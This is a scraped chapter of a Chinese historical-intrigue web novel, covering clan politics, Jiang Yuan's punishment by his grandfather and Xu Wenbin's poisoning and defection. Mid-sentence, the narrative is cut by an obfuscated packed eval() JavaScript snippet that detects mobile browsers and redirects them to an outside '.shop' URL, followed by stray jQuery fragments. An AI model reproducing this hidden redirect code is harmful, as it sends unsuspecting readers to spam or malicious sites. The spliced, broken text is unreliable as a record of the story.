默认冷灰
24号文字
方正启体

12. 第 12 章

作者:韶妤本书字数:K更新时间:
    江远打开,纸条上写的是一切“边关事宜尽在掌握,并无任何异常。还请为兄勿念。”


    难道真的是他多虑了?江远晃了晃神,将纸条烧掉。


    但很快江远就发现,这并不是他疑神疑鬼。


    事情的转机来自于林原初归京的前两日。


    那天他突然被祖父叫去。


    “听说,你私下联系了许家那小子?”江元煦面色平静的随口一问,却让江远仓惶跪地头都不敢抬。


    “是。此次巡查是全境范围,但林原初未至边境,实在令人心生疑惑。”


    “所以——”江元煦顿了一下“这就是你擅专的理由?”


    江远已经开始冒冷汗了。如果说最开始的知情不报是隐瞒,那之后的独断专行就是越权了。若他查出什么问题倒还算是将功折罪,可偏偏这次,他什么也没查出来。


    可若他真的把自己的猜测未经证实便说给江元煦听,那也一样是过错。那些规矩无时无刻不在约束着世家子弟的一言一行,江远也是深受其害。


    “孙儿知错。”说的越多错的越多,江远放弃为自己辩解。


    气氛瞬间低至冰点,江元煦似是有意让江远好好体会这种感觉,所以他什么都没说,只是悠闲地品着茶,连一个目光都不愿意给。


    江元煦知礼守礼了一辈子,对棍棒下才能出孝子这种莽夫行为一向不屑一顾,他更喜欢杀人不见血的惩罚方式。早些年他也曾深受其害,只是多年谨慎让他有些忘记,他始终是江远,江家的江远。


    这是敲打,江远垂眸挺直脊背,他跪的笔直,在反思,也在煎熬的等待结束。


    大约两三个时辰过去,江元煦才放下杯子缓缓开口。


    “许家那小子不能再用了,你从族里挑个人过去换他。今晚就动身。”


    一石激起千层浪,江远猛地抬头,幅度太大带动了跪久的膝盖,针扎一般的疼痛让江远有些轻微的晃动。他咬牙稳住身形望向江元煦。他只是不明白。


    “不是能自己查吗?”


    江远哑口无言。


    话是这么说,可江元煦到底是没真的让他自己查。他屈指敲了敲桌案上的东西,然后站起身往门外走,路过江远身侧时还说了句话。“不管你用什么办法,明天早上我要看到结果。江远,好自为之。”


    等江元煦远去以后,江远才一点点扶着椅子站起来去看桌子上的东西,时间很短,他必须要先弄清楚是什么让他的祖父做了这个决定。


    “许文斌竟是个彻头彻尾的蠢货。”将纸上的东西快速浏览一遍后,江远得出了这个结论。


    他传给许文斌的只是一封很普通的询问和关心。可就是因为这封怕惹人怀疑而平平无奇的信,让许文斌在千里之外乱了阵脚。他连夜查阅各类记录,核对细节。甚至慌忙之间判断失误导致自己采买了些物资做添补。这账目自然是对不上了。


    好在世家有眼线,先一步察觉此事上报给了几位家主。这样大的纰漏,江远一时间有些头疼。


    此事因江远而起,那自然是要由江家来解决。处理得好皆大欢喜,处理的不好,那折进去的也得是江家人。这是世家之间不成文的共识。所以这个人选,要能做事,也要能抗事。他必须慎之又慎。


    “该选谁呢?”若论忠心那族里的仆人倒是符合,可边饷督运官毕竟是正式的朝廷官职,身份不能太低。族中的这些旁支他大多都打过交道,倒是安安分分不惹事,缺资质平平难堪大用。江远把自己有印象的每一个人都一一筛过,到最后觉得靠谱的竟然又是江恒。


    江远苦笑,这么大的家族,他竟找不出第二个有才识有胆略还忠心耿耿的人。


    但是江恒他现在是万万不能动的,无奈之下他只能退而求其次,降低标准。


    在不确定此事有没有惊动林原初和陛下之前,他必须先做好最坏的打算。忠心是最要紧的,至于能力,等此事平稳度过后再慢慢培养或者换人这都好说。


    饶是如此,江远也还是纠结了好几个时辰,夜幕降临时才定了人选,沟通游说目送人收拾好行囊上了离京的马车后又将结果禀报给了江元煦,得了人的同意这才代表江家备了礼登上了许家的门。


    此番前去,一是赔礼致歉,二是商讨一下许文斌的结果,顺便将一应文书补齐免除纰漏。


    “都说边境是你的地盘,那就让他们看看,你这个东道主的实力吧。”江远夜访许家这种事自然是瞒不过陛下的耳目。一封密信适时出现在陛下面前,他知道,鱼上钩了。


    “放心,碍事的人早就被调走了,现在边境都是我的人。”庄岱辰拿起密信看了一眼,随后笑了起来。身在局中却不自知,这江远,也不过如此。


    看人这得意的模样,陛下随手抽出庄岱辰別在腰间的扇子轻轻地敲了人一下“百足之虫死而不僵,虽说许文斌的下场是我们透漏出去的,但是别小瞧了世家的人脉和眼线啊。更何况暗棋转变为明棋不过是一瞬间的事,等世家反应过来,必会爆发更猛烈地攻势。”


    庄岱辰心虚的摸了摸鼻子,戒骄戒躁,他当然是记得的。方才不过是一点小雀跃,能在这种情况下保持头脑清晰做事有条不紊,江远的实力自然不容小觑,甚至再过几年,如果江远上位做了江家家主,估计会变得比那几个老家伙更难对付。


    至于许文斌,弃子的结局只有一种下场,可被娇生惯养的纨绔少爷又不是刻意培养出来的死士,面临生死存亡,他们自然不会心甘情愿接受这个结果。他早就安排了人去接近许文斌,只等他心死,然后彻底倒向他们,成为撕开世家的一柄利剑。


    一切果然如计划进行着,许家对许文斌起了杀意,他被人下了毒,濒死之际他望向一直照料自己陪伴自己的老仆眼中满是不可置信。身边人竟然是主家的眼线,手无缚鸡之力的许文斌不知哪里来个股蛮力,竟冲动之下反杀了老仆。


    然后,许文斌靠着桌子坐在地上等死,后悔不已。他自知自己不是人才,又是旁支不受人重视,所以从小到大都藉藉无名。得到这个差事时许文斌第一反应不是高兴,是担惊受怕,他自知自己不是这块料,却也没料到他会客死异乡,被主家抛弃死在自己人手中。


    庄岱辰的人就是在这种时候出现的,许文斌已经有些意识模糊了。他快死了。


    “解药,但是有代价,吃不吃在你。”领头的人俯身蹲下从瓶子里倒出一粒药丸。


    许文斌艰难地仰头,原来是卫宁,驻守边关的一名副将。或许是他终于死心了,此刻的他竟格外的清醒。他与卫宁不熟,甚至没怎么说过话。能让卫宁出现在这里,那只能是他上面的人做的决定。摄政王吗……


    出卖主家,从此苟且偷生的活着。


    或者毒发身亡,心甘情愿被牺牲。


    许文斌突然觉得以前的他有些可笑,明知道主家不会把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413590|200718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    目光落在自己身上,却还抱有一丝期待和不切实际的渴望。


    原来他一直都是,随手可弃的棋子啊。


    “我答应你。”许文斌虚弱的抬起手无力地扯了扯卫宁的衣角,他还是更想活着,只是,再与许家无关。


    “把他带回去关起来,不许任何人探视。再寻一具尸体,别让人生疑。”卫宁将解药塞进他嘴里,随后打了个手势让亲卫把人带走。


    几日后,江家来接替的人抵达边境,见两具尸体立刻便明白过来这是对他的警告,一股寒意从心底而生,他并没多问,叮嘱身边人不许外传后默默派人收敛尸骨匆匆下葬了。


    就这样,许文斌在众人眼中彻底宣告死亡。


    林原初抵京后写了足有万字的汇报,内容涵盖各州县,事无巨细。不仅如此,汇报中还写到林原初一行人还遭遇匪患,幸得当地驻军及时出现。


    有人说是因为林原初刚正不阿得罪了人所以遭此横祸,也有人说林原初只是运气不太好……但能把疏忽渎职这种芝麻大的小事和贪墨这种足以满门抄斩的大事放在一起奏论,林原初这吹毛求疵的性子倒是烙进了众人心中。


    许多人都很好奇这件事会如何发展,但事实上,林原初的这份奏报呈上去后陛下只扫了一眼,随后便搁置起来命众臣自议。朝臣们摸不准陛下的态度,又因牵连甚广心怀鬼胎,反而变得捉襟见肘难下决断。


    那些匪患是谁下的命令?驻军又为何能如此巧合?


    对于那些小错是法不责众?还是严查到底?


    折的是哪方的势力?与自己有利还是有害?


    ……


    没人能给出答案。


    连着几日早朝,朝臣们都对此事避而不谈,就好像此事从未存在。只有林原初时不时会提上几句,表示此事还未解决。


    “臣以为,兹事体大,且牵连甚广。需徐徐图之,不可操之过急。”


    “臣附议!”


    每一次,重臣们都会以此为借口,陛下对此倒是没反应,他们说要再议,那便再议。既不催促也不主动推进度。


    “陛下,林大人说想添一把火,问陛下准是不准。”某日午后,方荣为陛下添茶时提了这么一句。


    “随意,让他自己想清楚。”陛下端起茶杯喝了一口,随后搁置在一旁。


    “这茶——该换了。”


    方荣会意立刻撤走重新沏了一杯,从茶种到茶杯整套全是新的,同时叫来人把消息给林原初递过去。


    这换的不是茶,是人。


    又过三日,林原初再提此事,未果。


    散朝后,林原初突然备礼敲响了沈家的大门。


    “不知林大人今日前来所为何事?”沈成和坐在厅堂的高位上望着下面站立的人。


    “闲来无事,给尚书大人送个礼。”林原初拱手一礼。


    “无事?我沈家貌似与林大人,并无交集。”沈成和听出了这话的几分不对。


    “是吗?原来尚书大人是这样认为的啊,倒是让在下有些意外呢。”林原初毫不掩饰自己的目的,他今日就是来找麻烦的。


    “林大人这是话里有话?不过可惜,沈某听不明白。”沈成和没接招,林原初的目的太明显,像是假的。


    “无妨,既是送礼,还请大人下场一观,也好看看在下准备的是否合大人心意?”林原初非常的随意,他看似退了一步,实则不然。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)